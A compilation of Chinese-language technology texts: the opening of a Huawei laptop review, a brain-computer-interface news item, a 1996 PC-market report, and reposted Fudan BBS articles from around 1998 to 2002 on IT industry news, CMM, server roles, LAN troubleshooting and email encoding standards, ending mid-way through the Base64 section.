本期企鹅评测团产品——华为MateBook X Pro笔记本电脑。作者是一名普通公务员，同时又是一名数码发烧友，多年来一直沉迷于各种新潮的数码产品，工作以后也不忘通过数码产品提升工作效率。随着笔记本电脑市场竞争的日益激烈，再加上硬件性能不断提升，越来越多的非游戏用户选择使用更加方便携带的超极本，各大厂商自然也是迎合用户需求，推出外观更加靓丽、身材更加小巧、功能更加丰富的超极本。"
三个臭皮匠顶个诸葛亮，以此类推，如果能把一个人跟另外100万人的大脑连接起来，就会诞生“超级大脑”。正因如此，现在才出现了好几家公司争相开发脑机界面，希望把人的思维与机器连接起来。如果能够率先将笔记本电脑的功能植入你的大脑，就将为人们开辟一条道路，使之得以随意通过无缝渠道与任何人（甚至任何东西）交换信息。目前有两位IT行业的大佬都在参与这场角逐，他们分别是特斯拉创始人埃隆·马斯克（Elon Musk）和Facebook创始人马克·扎克伯格（Mark Zuckerberg）。他们两人的项目分别名为Neuralink和Building 8。而据知情人士透露，这两个项目都需要对大脑进行外科手术。然而，还有一些没有那么野心勃勃的微创方式，也可以解决脑机界面问题。只需要把脑电波的数据转化成简单的指令，然后由应用或设备进行处理即可。一家名为Nuro的创业公司就采取了这种方式。他们希望借助自己的软件平台，让那些因为严重受伤或疾病而丧失交流能力的人恢复这种能力。
【 日 期 】19960426 【 版 号 】10 【 标 题 】国产微机重获市场主要份额 【 作 者 】尹容 【 正 文 】 近年来受到进口微机严重冲击的国产微机，１９９５年打了个翻身仗，总销售额达 ６１５亿元，销量首次突破百万台大关，达１１５万台，从而以微弱优势重新获得了我 国微机市场的主要份额———５０·４％的市场占有率。这是由电子部计算机与微电子 发展研究中心（ＣＣＩＤ）近日发布的。 ＣＣＩＤ发布的这份中国计算机市场的权威报告表明，“八五”期间，我国计算机 产业，呈高速发展态势，１９９０年中国本地计算机信息产业产值规模仅５０亿元，去 年已达６９８亿元，年平均增长速度达６９·５％；１９９０年微机产量不足１０万台 ，而去年仅长城集团一家产量就逾１０万台，国内微机总产量已达１３０多万台；出口 量也大幅度增长，去年达４９·６亿美元，是１９９０年的１３·３倍，说明我国微机 产品在质量、性能上已被国际市场所接受，标志着中国市场已成为世界微机市场的重要 组成部分。 （尹 容）
标 题: 英特尔大力投资互联网设备公司 发信站: 日月光华站 (Tue Nov 30 14:09:10 1999) , 转信 　　英特尔，这家靠PC起家而雄霸天下的世界最大半导体生产商，把它的触角伸向PC以 外的世界，这早已不是什么秘密了。然而英特尔把它庞大的风险资本投向PC以外的计算 机公司，这可有点新鲜。 　　英特尔把它的48亿美元风险基金及其对其他300多家公司的投资都集中投向新一代互 联网网络设备生产及网络公司的发展方面。事实上，到十月中旬，它已达成了150多项协 议，英特尔希望到1999年年底，它的投资金额能超过去年的800,000,000美元。 　　有它每轮10,000,000美元的多轮投资额度，英特尔足以使那些新技术公司蓬勃发展 。事实上，这家拥有1 00多名员工的公司，业已成为世界上最大的风险资本投资公司， 所以它的投资战略足以影响世界高科技市场的走向。英特尔公司业务发展部主任Leslie Vadasz说：“我们总是问自己，这笔交易对公司有什么战略意义？” 　　Leslie Vadasz负责监管英特尔公司的风险资金投向 　　进入九十年代以来，英特尔出于自身的业务特点及电脑业的整体发展态势，把刺激 发展PC市场作为公司的中心投资战略。比如，几年前，英特尔开发了多能奔腾MMX芯片及 基于芯片组的AGP架构。为了推进这些技术的发展，英特尔大力投资像AvidTechnologie s这样的数字影像技术公司。这样，PC彩卡的发展跃上了一个新台阶，Vadas z说：“我 们把视频计算能力推向了一个新高度。” 　　然而，现在英特尔把它的目光投向PC外面的世界，它的投资方向也来了个直转弯。 这家公司在追求一个类似于其P C视频的战略，不过，现在它的注意力集中在网络方面。 这方面的一大举措就是八月份英特尔以20亿美元股票购进了网络芯片生产商Level One Communications。这一购进促进了英特尔所谓Internet Excha ngeArchitecture (IXA) 的网络新战略，IXA指一种用于触发器和路由器的可擦写芯片的生产，为此，英特尔已经 启动了达200,000,000美元的“英特尔通讯基金”（IntelCommunications F und）。 　　这笔基金的首次投入是九月份对Trillium Digital Systems的投资。作为回报，Tr il lium这家通讯软件生产商将优化其产品对IXA芯片的支持。Vadasz 说：“这是第一家 即将利用IXA芯片优势的公司。” 　　英特尔也在向那些支持其设计中的Itanium芯片的公司，Itanium是英特尔全64位处 理器，它瞄准的是高端服务器与工作站市场。为了开发新一代Itanium处理器，英特尔创 立了Intel 64 Fund基金，这包括250,000,000美元风险基金，而这当中包括150,000,00 0美元来自戴尔电脑及Morgan Sta nley Dean Witter的外部资金，这也是英特尔首次向 外融资。Intel 64 Fund基金已经做出了几项投资，这些接受投资的公司大多制造针对I tanium芯片的软件。 　　作为英特尔1968年创建时的元老之一，Vadasz对PC机的持续发展充满信心，他说： “在可预见的将来，我认为PC将成为互联网的主要接入设备。”不过，他也承认PC机市 场正向不同的商业模式分裂，这包括免费PC与专门供互联网接入的单功能廉价电脑。他 说：“这些产品的价格及功能将有较大的差别。” 　　不管未来如何发展，英特尔的投资触角总会指向那里�D�D而且这种导向也许会先于 它的主导产业。Vadasz说： “我们的投资方向就是我们业务战略的风向舵，在许多方面 ，它就是新技术的一扇窗口。”（CPCW专稿） -- 见了mm就灵感大发 港台歌曲唱的全是废话
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: panden (香寒居士〜Happy New Year！), 信区: Software 标 题: 微软称决不在Windows中嵌入Java 将提出上诉 发信站: 日月光华 (2002年12月26日12:22:23 星期四), 站内信件 微软称决不在Windows中嵌入Java 将提出上诉 2002-12-25 10:09　 转自： 赛迪网 　　【赛迪网讯】微软计划对12月23日宣布的联邦命令提出上诉，该命令强迫微软 在Windows上包括Sun公司Java的最新版本，但有关交付的后勤工作和时间细节目前 还没有确定下来。 　　微软一位发言人说，公司对法院裁决做初步研究后，感到非常失望。 　　Sun公司战略诉讼部门副总裁Lee Patch在12月23日的电话会议上表示，法院已 命令Sun和微软在假日期间举行会晤，确定发行战略的方案建议。但Patch承认，他 还不能确定微软的上诉将会对这些计划造成什么样的影响。 　　Sun的高层人士对该裁决表示欢迎，把它看作软件开发商和计算机用户的一次 胜利。 　　Sun开发工具部门副总裁Rich Green说：“该决定有助于确保目前可兼容的 Java技术将被包括在每一台消费类台式机上，并将结束微软分割Java平台的做法。 ” 　　Green 认为，如果要求微软在Windows上包括Java最新版本的话，Sun将会在其 网络服务计划方面取得重大进展。 　　他说：“微软所提供的Java目前版本已经是5、6年前的老版本了。它不具有端 对端联网的许多相关特色。” 　　他补充说，如果微软发售富有网络服务特色的Java的最新版本，那么“Java将 成为全球开发商平台中销量最大的产品。” 　　受23日判决的影响，24日Sun的股票上涨17美分，涨幅5.74%，收于3.13美元； 微软股票下跌18美分至53.82美元。 -- ★　　博学笃志 �� 宁静致远 Just I am！ ��� ☆ ——★香寒居士☆ 　 　 ●　　 ����　　 ┌────┐ 新 　走我路 /■\　 ������　 │回到未来│ 疆 �n�T�n 　|| �T�n�T�n�T�n�T�n └┬──┬┘8232502516821 ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 香寒斋]2002 -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiajv (家驹~~明天的明天的明天), 信区: Software 标 题: 评论：未来IT牌如何打？ 发信站: 日月光华 (2002年12月26日13:47:33 星期四), 站内信件 (2002.12.24) 来自：中国计算机报 阿甘 　　帕米萨诺在其就任IBM公司董事长一职时，宣布要拿出100亿美元来推动公司最新的 理念e-Business On Demand。 　　至此，那些有能力制定未来网络计算游戏规则的IT寡头们已经全部表了态。那么， 未 来IT该如何游戏，究竟谁说了算呢？ 　　是像IBM这样，大而全的IT巨头，还是像微软和Intel这样专精于某一领域的霸主。 虽然，后者正在努力淡化自己在PC时代留下的烙印，忙着穿上印有网络计算字样的新外 衣，但是就目前情况而言，像IBM这样囊括硬件产品系列、软件产品系列和IT服务产品系 列的航母型IT公司似乎更有发言权。 　　IT产业正在酝酿着的新一轮竞争，碰巧IBM和Sun同时处在了竞争的中心。 　　在帕米萨诺讲解他的被称为e-Business On Demand战略之前，IBM公司的竞争对手、 硅谷最有技术底蕴的公司之一的Sun公司，已经推出了面向未来网络计算环境的全新的N 1计划。 　　那是在Sun公司一年一度的网络大会上，当时麦克尼利腰挂写有“网络就是计算机” 字样的腰鼓，敲响了Sun公司N1计划启动的战鼓。通过N1计划，麦克尼利要把计算、网络 和存储资源虚拟成一个单一的系统，从而像管理公用事业那样来按需、实时地管理网络 上的计算资源。 　　与IBM的e-Business On Demand战略一样，Sun公司的N1计划同样也是公司面向未来 的发展理念。 　　仅仅从名称上看，IBM的e-Business On Demand与Sun的N1没有什么共同之处。然而 ，当我们进入到这两个理念的技术实现层面时，却可以发现，两者间竟然是那样惊人地 相似，无论是两个理念所凭借的支撑技术，还是两者要达到的目的——让未来的计算摆 脱人为的控制，成为随取随用的虚拟“资源”。 　　看来，对IBM和Sun来说，双方的竞争已经超越了单纯的产品和服务，转化成为了理 念的竞争。 　　这本身其实就是一个信号，以IT架构为中心的竞争将会成为IT厂商新一轮竞争的主 要战场，而具体的表现形式则是公司间理念说服力的竞争。 　　IBM的e-Business On Demand所凭借的基础是自主计算，是计算资源自我恢复、自我 优化、自我适应等等能力在商业应用流程中的实现。 　　麦克尼利讲的N1要将蔓延在网络上的计算力看作是被管理的元素，计算机不过是网 络计算环境中的具体部件，系统将自发完成对网络计算资源的管理。 　　IBM是最先倡导电子商务的公司。为电子商务提供必要的和必需的基础架构，是IBM 在过去几年和可以预见的未来中对公司发展方向的定位。当前的e-Business On Demand 不过是在这一定位下发展而成的产物。 　　对Sun公司来说，最早提出的口号是“网络就是计算机”，然后是“将网络效应发挥 到极致”。很显然，Sun在定义自己对IT未来发展方向的理解时，有意无意地突出的是公 司对技术趋势的把握能力。也正因为如此，Sun One和N1在名称上充满了技术的魅力。 　　据最新的消息显示，当IBM还在为其e-Business On Demand战略排兵布阵、规划手头 的产品线时，Sun公司已经推出了一款基于N1计划的服务器。这款服务器将于2003年初面 世。据悉，这款服务器使用了N1计划中的基础原理，可以使多个大型的计算机集群系统 能够像单一资源一样进行工作。 　　值得一提的是，不久前于北京召开的联想集团“Legend World”技术大会上，联想 谈到了所谓“关联”应用，并阐述了“关联”实现的条件和技术支撑“微网格”。如果 笔者的理解没有错误的话，这很可能就是联想要谈的N1或者是On Demand。 -- 也�S有一天　™想起我 也�S有一天　我都忘� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.46.21] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiajv (家驹~~明天的明天的明天), 信区: Software 标 题: 网格技术将是下一代互联网竞争核心 发信站: 日月光华 (2002年12月26日14:04:55 星期四), 站内信件 (2002.12.19) 来自：计算机世界 　　计算机世界网消息 IBM公司最近宣布将投入100亿美元用于网格计算的研究和市场开 拓。被称为下一代互联网技术的网格技术正在成为全球竞争的核心。 　　中国科学院计算所所长、中国工程院院士李国杰在此间召开的国家863计划通信高技 术研究十周年高级研讨会上向记者表达了上述观点。 　　网格技术出现于20世纪90年代，它利用高速互联网把分布于不同地理位置的计算机 、数据库、存储器和软件等资源连成整体，就像一台超级计算机一样为用户提供一体化 信息服务，其核心思想是“整个因特网就是一台计算机”。网格技术充分实现了资源共 享，具有成本低、效率高、使用更加方便等优点。另外，网格技术具有较为统一的国际 标准，有利于整合现有资源，也易于维护和升级换代。 　　目前，国际上共同的观点是，网格技术将对未来全球经济发展和社会进步起到巨大 的推动作用。据美国《福布斯》杂志预测，网格技术将在2004年至2005年出现一个高峰 ，推动信息产业市场的持续高速发展，在2020年将产生一个年产值为20万亿美元的大工 业。 　　李国杰院士说，正因为如此，当今网格热潮所预示的商业机会异常诱人，各国政府 和企业都在为争夺网格的制高点积极行动，竞争的激烈程度不亚于当年在超级计算机上 的竞争。 　　美国SUN公司去年发布了“网格引擎”企业版的测试版。IBM公司去年大规模进入网 格计算领域，并正在研制超级网络计算机，其设计运算速度为每秒13.6万亿次，存贮能 力达600万亿字节。今年3月，美国能源部下属的国家能源研究科学计算中心宣布与IBM公 司达成协议，开始建造美国能源部内部使用的计算机网格，计划在今年年底投入使用。 英国政府也已投资1亿英镑，用来研制“英国国家网格”。 　　日本文部科学省今年5月决定投资700亿日元开发超大型网格计算机，它比现在世界 上运算速度最快的计算机还快近10倍，将达每秒300万亿次。此外，日本电信电话株式会 社等公司宣布将在今年开展网格计算试验。 　　目前，网格技术已经引起我国专家的高度重视。今年4月，科技部在北京召开“网格 战略研讨会”。会议认为：我国各行各业已经对网格技术提出了实际的需求，网格技术 的商业应用就在眼前，国内信息技术企业要加快步伐，抢占先机。 　　李国杰认为，在第一代与第二代互联网协议的研究开发中，我国丧失了机会。在第 三代互联网协议的制定中我们应该发挥作用。我国已经确定了以信息化带动工业化的发 展战略。在网格领域中，我们不应该只参与标准的竞争，更重要的是发展自己的应用和 产业。 -- 也�S有一天　™想起我 也�S有一天　我都忘� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.46.21] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiajv (家驹~~明天的明天的明天), 信区: Software 标 题: 郭士纳：互联网拯救了IBM 发信站: 日月光华 (2002年12月26日14:21:25 星期四), 站内信件 (2002.11.26) 来自：计算机世界 刘彦青 编译 　　计算机世界网消息 前IBM公司CEO郭士纳被认为是将IBM这个庞然大物从其在90年代 初期所遇到的危机中解救了出来的功臣，上个月他将接力棒交给了帕米萨诺。本周三晚 上，在哈佛大学约翰·肯尼迪政治学院发表演讲时，郭士纳说，当时互联网出现了，它 救了我。他说，在输掉PC市场大战后，IBM公司需要新的契机，否则它就可能跨掉。 　　在三次谢绝IBM公司的邀请后，郭士纳才在1993年出任IBM公司的CEO，并同时担任该 公司的董事会主席。从没有涉足过IT产业的郭士纳将在IBM公司面临微软公司等对手激烈 竞争的危难时期对它进行全面的诊治。 　　在上任几个月后，他作出了一个重要的决定，保持IBM公司的完整性，而不是象其前 任那样计划将它划分为几个小公司。此后，他又决定将IBM公司改造为一家以电子商务和 服务为主的技术集成商。他说，在1995年，我们提出了“以网络为中心的计算”，它成 了业界一股重要力量，我们又有了成为了领先者的机会。 　　郭士纳谈到了它在IBM公司任职的前几天，以及IBM公司在快速变化的高科技市场上 所面临的问题。他说，我必须控制住IBM公司，它就象是在强烈灯光照耀下的一只小鹿。 郭士纳决定“使IBM公司摆脱市场萎缩”，并密切注意用户的提供它们可负担得起的大型 主机的要求。他指出，在IBM公司任职时，他每年都会削减大型主机的价格，使公司销售 的大型主机一年比一年多。郭士纳说，在80年代创建的PC将取代大型主机的神话中，这 是一道与众不同的风景线。 　　在重组硬件产品的同时，郭士纳将更多的精力放在使IBM公司转变为系统集成商方面 。他说，作为IBM公司的客户，我希望有人将所有的产品进行整合。我们就将成为帮助客 户进行整合的公司，而不仅仅是不断地推出新的软、硬件产品，并告诉客户说，这些产 品的速度更快，你们会喜欢它们的。 　　郭士纳说，尽管互联网使IBM公司有了新的发挥的战场，横亘在它前进道路上的最大 障碍之一是它自己的文化。郭士纳首先从薪酬着手对IBM公司进行改革，使管理人员的薪 酬与整个公司的业绩，而不仅仅是部门的业绩挂钩，改变公司的着装方式，并统一处理 整个公司的营销和广告活动。 　　尽管具有高超的领导艺术，郭士纳承认，他取得的成功的一部分来自他的幸运，但 他还指出，没有能力的幸运不可能走得太远。 -- 也�S有一天　™想起我 也�S有一天　我都忘� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.46.21] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Software精华区文章阅读 -------------------------------------------------------------------------------- 发信人: BorninmaY (夏日悠悠), 信区: Software 标 题: CMM综述（一） 发信站: 日月光华 (Fri May 17 01:03:42 2002) CMM(Capability Maturity Model能力成熟度模型)的本质是软件管理工程的一个部分。它 是对于软件组织在定义，实现，度量，控制和改善其软件过程的进程中各个发展阶段的描 述。他通过5个不断进化的层次来评定软件生产的历史与现状。 　　CMM的诞生 　　信息时代，软件质量的重要性越来越为人们所认识。软件是产品、是装备、是工具， 其质量使得顾客满意，是产品市场开拓、事业得以发展的关键。而软件工程领域在1992年 至1997年取得了前所未有的进展,其成果超过软件工程领域过去15年来的成就总和。 　　软件管理工程引起广泛注意源于20世纪70年代中期。当时美国国防部曾立题专门研究 软件项目做不好的原因，发现70%的项目是因为管理不善而引起，而并不是因为技术实力不 够，进而得出一个结论，即管理是影响软件研发项目全局的因素，而技术只影响局部。到 了20世纪90年代中期，软件管理工程不善的问题仍然存在，大约只有10%的项目能够在预定 的费用和进度下交付。软件项目失败的主要原因有：需求定义不明确；缺乏一个好的软件 开发过程；没有一个统一领导的产品研发小组；子合同管理不严格；没有经常注意改善软 件过程；对软件构架很不重视；软件界面定义不善且缺乏合适的控制；软件升级暴露了硬 件的缺点；关心创新而不关心费用和风险；军用标准太少且不够完善等等。在关系到软件 项目成功与否的众多因素中，软件度量、工作量估计、项目规划、进展控制、需求变化和 风险管理等都是与工程管理直接相关的因素。由此可见，软件管理工程的意义至关重要。 　　软件管理工程和其它工程管理相比有其特殊性。首先，软件是知识产品，进度和质量 都难以度量，生产效率也难以保证。其次，软件系统复杂程度也是超乎想象的。因为软件 复杂和难以度量，软件管理工程的发展还很不成熟。 　　软件管理工程的发展，在经历了从70年代开始以结构化分析与设计、结构化评审、结 构化程序设计以及结构化测试为特征的结构化生产时代，到90年代中期，以CMM模型的成熟 模型和日益为市场接受为标志，已经进入以过程成熟模型CMM、个体软件过程PSP和群组软 件过程TSP为标志的以过程为中心的时代，而软件发展第三个时代，及软件工业化生产时代 ，从90年代中期软件过程技术的成熟和面向对象技术、构件技术的发展为基础，已经渐露 端倪，估计到2005年，可以实现真正的软件工业化生产，这个趋势应该引起软件企业界和 有关部门的高度重视，及早采取措施，跟上世界软件发展的脚步。软件生产转向以改善软 件过程为中心，是世界各国软件产业或迟或早都要走的道路。 　　软件过程改善是当前软件管理工程的核心问题。50多年来计算事业的发展使人们认识 到要高效率、高质量和低成本地开发软件，必须改善软件生产过程。软件管理工程走过了 一条从70年代开始以结构化分析与设计、结构化评审、结构化程序设计以及结构化测试到 90年代中期以过程成熟模型CMM、个体软件过程PSP和群组软件过程TSP为标志的以过程为中 心向着软件过程技术的成熟和面向对象技术、构件技术的发展为基础的真正软件工业化生 产的道路。软件生产转向以改善软件过程为中心，是世界各国软件产业或迟或早都要走的 道路。软件工业已经或正在经历着"软件过程的成熟化"，并向"软件的工业化"渐进过渡。 规范的软件过程是软件工业化的必要条件。 　　软件过程研究的是如何将人员、技术和工具等组织起来，通过有效的管理手段，提高 软件生产的效率，保证软件产品的质量。由此诞生了软件过程的三个流派：CMU-SEI的CMM /PSP/TSP；ISO 9000质量标准体系；ISO/IEC 15504（SPICE）。 　　CMM/PSP/TSP即软件能力成熟度模型/ 个体软件过程/群组软件过程，是1987年美国 C arnegie Mellon 大学软件工程研究所(CMU/SEI)以W.S.Humphrey为首的研究组发表的研究 成果"承制方软件工程能力的评估方法"；SO 9000质量标准体系是在70年代由欧洲首先采用 的，其后在美国和世界其他地区也迅速地发展起来。目前，欧洲联合会积极促进软件质量 的制度化，提出了如下ISO9000软件标准系列：ISO9001、ISO9000-3、ISO9004-2、ISO900 4-4、ISO9002；ISO/IEC 15504（SPICE）是1991年国际标准化组织采纳了一项动议，开展 调查研究，按照CMU-SEI的基本思路，产生的技术报告ISO/IEC 15504--信息技术软件过程 评估 　　目前，学术界和工业界公认美国 Carnegie Mellon 大学软件工程研究所(CMU/SEI) 以 W.S.Humphrey为首主持研究与开发的软件能力成熟度模型CMM是当前最好的软件过程，已成 为业界事实上的软件过程的工业标准。 -- 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 ※ 来源:．日月光华 http://bbs.fudan.edu.cn[FROM: 10.83.4.123] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Network精华区文章阅读 -------------------------------------------------------------------------------- 发信人: bbsbbs (nightingcat), 信区: Network 标 题: 服务器应用分类 发信站: 日月光华站 (Sat Mar 11 14:49:05 2000) , 转信 　　作者：任俊山 　　所有的系统管理员都知道手中的服务器是安装的软件和设计的服 务的傀儡，实际上如果我们不断地修改服务器，或者导入新的页面， 控制，脚本等，总有一天服务器运行的程序可能会失控。因此有必要 将服务器分开使用，简单区分为应用服务器和开发服务器。 　　应用服务器意如其名，功能是给所有Internet或Intranet用户提 供服务，在这些机器上不进行诸如产品测试，更改网络服务器和其它 类似举动（如添加脚本，Java程序，进程控制等）。开发人员和程序 员的活动都将移到开发服务器上进行，一旦产品通过最终测试之后， 管理员再负责将数据从另一台服务器转移过来。 　　与程序设计、测试有关的工作将被安排在开发服务器上进行，因 为这些活动随时都会碰到大量的错误，问题和系统崩溃。另外，作为 开发和设计的专用计算机，原代码和网页样本都会留在服务器上，例 如IIS或NES。由于这些原因，最好不要让最终用户接触这些服务器。 　　另一个要考虑的方面是网页样本通常是错误及安全漏洞的根源， 所以服务器安全守则的第一条是删除这些网页样本（或者简单点不安 装）。因此两种服务器在设计安装进程，安装的程序，用户和他们的 权限时都要相应的区分开来。 　　开发和应用服务器的安全措施也要因情况而异，因为彼此涉及的 威胁不一样，在保护这些服务器时最好考虑各自危险的特点。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.11.13] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Network精华区文章阅读 -------------------------------------------------------------------------------- 发信人: piaolin (飘零), 信区: Network 标 题: Internet上的常见服务器 发信站: 日月光华站 (Tue Jun 20 18:38:45 2000), WWW-POST@10.64.18.220 所谓服务器（Server)就是提供各类信息服务的计算机。目前Internet中的服务器 常见的有如下这些： 　　·Archie server:文件搜索服务器 　　·BBS server:电子布告栏服务器 　　·DNS server:域名服务器 　　·FTP server:文件传输服务器 　　·Gopher server:Gopher信息查询系统服务器 　　·News server:网络论坛服务器 　　·POP server:电子邮件接收服务器 　　·PPP/SLIP server:PPP/SLIP拨接线服务器 　　·SMTP server:电子邮件发送服务器 　　·Terminal server:以终端模式连线的服务器 　　·WWW server:全球信息网服务器 　　·WAIS server:是一种从网络中检索数据库内容的工具系统，被称为数据库 的数据库。 -- 我在睡梦中清醒 我在痛苦中欢乐 我那榆木一样的脑袋 泡在王水里 开了花 于是我就成了我 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: WWW-POST@10.64.18.22] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Network精华区文章阅读 -------------------------------------------------------------------------------- 发信人: xht (小呆), 信区: Network 标 题: 总线型局域网维护五招 发信站: 日月光华站 (Sat Feb 13 15:26:29 1999) , 转信 总线型局域网维护五招 　　在小型局域网的使用中有时会出现整个网络都不通，或是其中几台无法连通的情况，这里就总线型局域网谈谈一些常规解决方法: 　　1.检查各机器中有关网卡的一些设置是否都正常，即/我的电脑/控制面板/系统/设备管理/网络适配器，看有无中断及端口的冲突（我认 为最好将各台机器的中断设为相同的），直到网络适配器/属性中出现“该设备运转正常”，并且在“网上邻居”中至少能找到自已。具体设置 较简单，就不细说了。 　　2．在只有部分机器无法连接时，可先用确定没问题的网卡，用替换法排除网卡坏的可能，再进行以下步骤。如果手边没有多的网卡，也可 注意看一下主板开机时是否能检测到网卡，以此为依据基本上也可作出判断。 　　3．关于驱动程序:一般网卡都是兼容NE2000的，用WIN95自带的NE2000驱动程序即可。在这种情况下，可试着重装一次，或是将网卡自带 的驱动程序装上，问题有时就这样解决了。 　　4.如果各机器在“网上邻居”中能找到自已，但是不能看到网络中其它机器，这种情况极有可能是由于网络介质的问题，即T形头、BNC、 同轴电缆、终结器（有称“堵头”）或是质量有问题，或是连接有问题。由于是总线型接法，网络介质中只要有一处出现问题，就会导致整个 网络瘫痪，这时可先只接两台，接通后再把计算机一台一台地加入到网络中，直至出现问题，此时检查相应的接线一定能够找到问题，没法检 查的就换一个试试。 　　5.在确定网络介质没有问题，但还是不能接能接通的情况下，再返回网卡设置中，将COM2屏蔽，强行将网卡中断设为3。在“网上邻居” 中只能找到自已的机器，但网卡一切设置都很正常时，这招会产生意想不到的效果。 　　另外由于部分程序需要，网卡还需要同时在DOS下驱动，在有些兼容性差的主板或网卡上，这时就会出问题。为了使网卡安装更简便，我 常在CMOS中把相关PNP项设成“YES”，根据实践经验，在WIN95中设置好以后，最好再将此项设成“NO”，这样在DOS中设置网卡时（检测、 设置中断、加载协议等），会少很多麻烦。 □李海 本文出自：《新潮电子》98年第十二期 -- 888 888 ee d8 Y8b Y8Y 888 88b d88 Y8b Y 888 888 d88888 ___e_Y8b____888_888___888__ d8b Y8b 888 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.14.3.2] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Network精华区文章阅读 -------------------------------------------------------------------------------- 发信人: truelies (柯信), 信区: Network 标 题: E-mail传送中的三种编码标准 发信站: 日月光华站 (Mon Mar 23 21:23:31 1998) , 转信 　　一、编码的必要性 　　E－mail只能传送ASCII码(美国国家标准信息交 换码)格式的文字信息，ASCII码是7位代码，非ASCII码格 式的文件在传送过程中就需要，先编成7位的ASCII代码， 然后才能通过 E－mail进行传送；如果不经过编码，则在 传送过程中会因为ASCII码7位的限制而被分解，分解之后 只会让收信方看到一堆杂乱的 ASCII字符。经过编码后的 文件，在传送过程中可顺利传送，不会有“被截掉一位” 的危险。但是收信方必须具有相应的解码程序，将这份经 过编码的东西还原，才能看到发信人要传送的信息是什么 。 　　有一点要注意：大部分的人认为“文本文件不需 要编码”，但我们的中文是属于 8位代码的文字，并不是 标准的 ASCII码格式，由于在国内中文是通行的文字，所 以大部分的邮件服务器都已能够处理GB内码的文件，因而 不需要做这种编码 /解码的操作，可以直接传送。但如果 要送中文邮件到国外，就需要经过这种转换才能传送，因 为国外的邮件服务器是无法辨认中文内码的。中文码在经 过一些不支持中文内码的传递主机时，依然会被截掉一位 ，造成文件支离破碎无法读取。而经过编码的中文邮件， 收信人收到后将文件解码还原，也需要有中文系统才能看 所写的中文信息。 　　二、常见的三种编码标准 　　●UU编码(Unix－to－Unix encoding) 　　uuencode和uudecode原来是unix系统中使用的编 码和解码程序，后来被改写成为在 DOS中亦可执行的程序 。在早期传送非 ASCII码的文件时，最常用的便是这种UU 编码方式。 　　使用的方法是：发邮件前，在DOS下先用uuencod e�exe程序将原文件编码成ASCII码文件，然后将邮件发 出。收信人收到邮件后，用 uudecode�exe程序将文件还 原。 　　基于Windows的类似程序有wincode和winzip等。 wincode的使用原理和DOS下的uuencode和uudecode没什么 两样，只是在Windows的界面下操作更为简便。wincode除 支持UU编码外也支持MIME、Binhex等编码格式，应用范围 颇为广泛。 　　以上介绍的UU编码并非只能编中文文字。任何你 要寄送的文件包括 exe等二进制文件都可以按照编码→发 送→收信方收信→解码还原的步骤传送。 　　●MIME标准(Multipurpose Internet Mail Exte ntions) 　　UU编码解决了E－mail只能传送ASCII文件的问题 。但这种方式其实并不是很方便，因而又发展出一种新的 编码标准，其全名是Multipurpose Internet Mail Exten tions，一般译作“多媒体邮件传送模式”。顾名思义， 它可以传送多媒体文件，在一封电子邮件中附加各种格式 文件一起送出。 　　MIME标准现已成为Internet电子邮件的主流。它 的好处是以物件作为包装方式，可将多种不同文件一起打 包后传送。发信人只要将要传送的文件选好，它在传送时 即时编码，收信人的软件收到也是即时解码还原，完全自 动化，非常方便。当然先决条件是双方的软件都必须具有 这种功能，要不然发信人很方便地把信送出去了，但收信 人的软件如果没有这种功能，无法把它还原，看到的也就 是一大堆乱码了。使用这种方式，用户根本不需要知道它 是如何编码 /解码的。即使只是用文字写的信，一样是打 好包便寄出。如果是要寄多媒体文件，只要做选文件的动 作，选完后寄出，其余的工作由电子邮件软件自动完成。 由于MIME的方便性，愈来愈多的电子邮件软件采用这种方 式。(我们现在最常使用的电子邮件软件Eudora、Netscap e Mail、Internet Mail等就是采用MIME方式，所以我们 才能如此轻松地收发电子邮件。 ) 　　MIME定义的是一种规格，也可以说是一种统称。 其实能够符合这种规格的编码方式并不是单一的一种，只 要符合这种MIME规格便可顺利传送。以货运作为比喻，若 货运公司规定送交货运的规格是 1立方米大小的箱子便可 托运，它并没有限制一定要用木箱或是铁皮箱，只要是 1 立方米大小，货运公司就帮你送达。至于箱子里你是装食 品或是书本或是衣服或是混合着装也没有限定，也就是说 ，多种格式的文件可以一起寄送。 　　就上例而言，“1立方米大小”是货运规格，也 就是我们的MIME规格。木箱或铁皮箱是编码方式，现在我 们就来看看你有哪些“箱子种类”可以选择。MIME定义两 种编码方式：Base64与QP(Quote－Printable)。QP的规则 是对于资料中的 7位无须重复编码，仅将8位的数据转成7 位。 QP编码适用于非ASCII码的文字内容，例如我们的中 文文件。而Base64的编码规则，是将整个文件重新编码成 7位，通常用于传送二进制文件。编码的方式不同会影响 编码之后的文件大小。而具有 MIME功能的E－mail软件大 都能自动判别你的邮件是采用何种编码，然后自动选择用 QP或Base64来解码。 　　QP编码的方式，是将一个字节用两个16进制数值 表示，然后在前面加“ =”。所以我们看到经过QP编码后 的文字通常是这个样子： 　　=A4j=AEa=A6n=A1I=A7=DA=AC0=B1=E7=A9s=A7g=A 1A=AB=DC=B0=AA=B 　　Base64编码后的文字通常是： 　　